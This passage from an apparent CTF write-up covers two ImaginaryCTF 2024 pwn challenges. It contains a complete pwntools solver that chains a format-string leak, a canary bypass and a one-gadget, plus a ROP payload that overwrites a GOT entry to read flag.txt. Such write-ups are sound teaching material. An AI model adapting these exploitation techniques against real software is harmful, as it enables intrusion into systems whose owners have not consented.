        if (buf * 0x13f5c223 == data_6050)
            data_608c = 2
            vuln(data_608c)
        
        puts(str: "Sorry, we already have the same …")
        printf(format: "Still interested in selling your…")
        __isoc99_scanf(format: &data_38a7, &i)
        getchar()
    while (i == 0x79)
    puts(str: &unk1)
    printf(format: "%s[-] Exiting program..%s\n", "\x1b[31m", "\x1b[0m")
    sleep(seconds: 1)
    int64_t result = rax ^ *(fsbase + 0x28)
    
    if (result == 0)
        return result
    
    __stack_chk_fail()
    noreturn
}

For the exploit, I sent payloads in the following steps.

  1. Abuse the FSB to leak the random 4-byte value, the address of data_6050, the canary, and the libc base address
  2. Use the FSB to write the runtime-generated 4-byte value multiplied by 0x13f5c223 to the address of data_6050
  3. Invoke the vuln function and trigger a one-gadget

I wrote the following solver to solve this challenge.

import re
from pwn import *

# Set context
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

# Set target
TARGET_PATH = "./imgstore_patched"
exe = ELF(TARGET_PATH)

target = remote("imgstore.chal.imaginaryctf.org", 1337, ssl=False)

# Exploit
target.recvuntil(b">> ")
payload = b"3"
target.sendline(payload)

# First chance
target.recvuntil(b"Enter book title: ")
# 0x8c87dec5
# payload = b"%100c%8$n"
payload = b"%6$p %7$p %17$p %25$p"
target.sendline(payload)

# "Book title --> $HEX\n"
r = target.recvline_startswith(b"Book title").decode()
hex_value = re.compile(r"(0x[0-9a-fA-F]{1,16})")
feedbeef_addr = int(re.findall(hex_value,r)[0],16) - 0x10
rand_val = int(re.findall(hex_value,r)[1],16) & 0xFFFF
leaked_canary = int(re.findall(hex_value,r)[2],16)
leaked_libc_start_main = int(re.findall(hex_value,r)[3],16)
libc_base = leaked_libc_start_main - 0x24083
val = (rand_val*0x13f5c223) & 0xFFFFFFFF
print(hex(feedbeef_addr),hex(rand_val),hex(val),hex(leaked_canary),hex(libc_base    ))
target.sendline(b"y")

# Second chance
target.recvuntil(b"Enter book title: ")
payload = fmtstr_payload(offset=8, writes={feedbeef_addr:val},write_size="short")
target.sendline(payload)

pop_r12_ret = libc_base + 0x199212
one_gadget = libc_base + 0xe3afe

# Vuln func
target.recvuntil(b">")
payload = flat(
    b"A"*0x68,
    leaked_canary,
    b"B"*0x8,
    pop_r12_ret,
    b"\x00"*8,
    one_gadget
)
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

Running it reveals the correct flag.

image-20240720173827955

ropity(Pwn)

Just your typical ROP challenge

Decompiling the binary shows that it is a small binary containing only a main function with an obvious buffer overflow and a printfile function.

image-20240722222329557

Also, the clearly unnatural part of the binary is this printfile function.

This function appears to use the file path passed as an argument to obtain a file descriptor with the open system call, then print its contents with sendfile.

image-20240722224635520

In other words, if we can pass flag.txt as the argument to printfile, we should be able to recover the flag.

However, despite the obvious buffer overflow, the binary did not contain conveniently usable ROP gadgets, which made the exploit difficult.

At one point I tried various ideas, such as using the behavior where fgets returns NULL on read failure and using shutdown() to put 0 into rax, but I still could not recover the flag.

For reference, the system calls used by this program have the following signatures.

fgets(char *s, int size, FILE *stream)
open(const char *path, int oflag, ... )
sendfile(int out_fd, int in_fd, off_t * offset ", size_t" " count" )

Reference: fgets(3): input of char/strings - Linux man page

Reference: open(3): open file - Linux man page

Reference: sendfile(2) - Linux man page

From here, I worked through it while referring to another writeup.

Reference: My Writeups For ImaginaryCTF 2024! | Vaktibabat

The key point this time was that the only place where rdi seemed controllable was the mov rdi, rax right before the call to fgets.

I initially assumed that even if I abused this code with the buffer overflow, it would be difficult to use because fgets would also end up being executed.

However, PIE is disabled in this binary, so GOT overwrite is possible.

That means if we overwrite the fgets GOT entry itself, we can execute arbitrary code after controlling rdi.

In the first stage, the goal is to use ROP against the code below so that fgets overwrites its own GOT entry.

mov     rdx, qword [rel stdi]
lea     rax, [rbp-0x8 {buf}]
mov     esi, 0x100
mov     rdi, rax {buf}
call    fgets

When fgets is called, rdi is set using the address rbp-0x8.

Therefore, by replacing RBP so that rbp-0x8 points to the GOT address we want to tamper with, we can make fgets overwrite the GOT.

The actual exploit code used to recover the flag looks like this.

call_fgets = 0x401142
call_printfile = 0x40115d
call_gmonstart = 0x404040
got_fgets = 0x404018
pop_rbp = 0x40119b

# First
payload = flat(
    cyclic(16),
    pop_rbp,
    got_fgets+0x8,
    call_fgets,
)
target.sendline(payload)

# Second
payload = flat(
    call_printfile, # <- 0x404018
    call_gmonstart, # <- 0x404020
    call_fgets, # <- 0x404028
    b"\x00"*8, # <- 0x404030
    b"./flag.txt\x00" # <- 0x404038
)
target.sendline(payload)

As a side note, the pop rbp; ret gadget lets you replace RBP with any value, but RSP does not change at that point, so you can still use the ROP gadgets placed on the stack as-is.

However, if leave is executed afterward, RBP is first copied into RSP, and then the stack top pointed to by RSP (the old RBP) is popped into RBP.

leave

↓

mov rsp, rbp
pop rbp

So when using a pop rbp; ret gadget, you need to be careful about what happens when leave executes.

In this case, the first-stage payload only goes as far as setting up RDI to target the fgets GOT address.

In the second payload that follows, I place the address of printfile at the beginning.

As a result, future calls to fgets invoke printfile instead.

After fgets is called, the code executes leave; ret.

At this point, RBP contains 0x404020, which is got_fgets+0x8.

So when leave runs, RSP first becomes 0x404020, and then the stack top is popped into RBP.

Starting at address 0x404018, the values are laid out in the order call_printfile -> call_gmonstart -> call_fgets -> 0 -> b"./flag.txt\x00".

Therefore, immediately after leave, RBP is set to call_gmonstart(0x404040), and RSP becomes 0x404028, which is the old RBP value plus 0x8.

image-20240725202051718

The reason the stack is arranged so that RBP becomes 0x404040 is that when printfile is called next, I want RDI to point to the address where b"./flag.txt\x00" is stored.

Since that string is placed at 0x404038, setting RBP to 0x404040 makes the lea rax, [rbp-0x8]; mov rdi, rax sequence place 0x404038 into RDI.

This lets us use the GOT overwrite to call printfile(*path, size) and recover the flag.

image-20240725202848580

Summary

I ran out of time and could not attempt everything, but it felt like I could have solved a few more Rev challenges.

Going forward, I need to practice not only solving more challenges, but also solving them faster.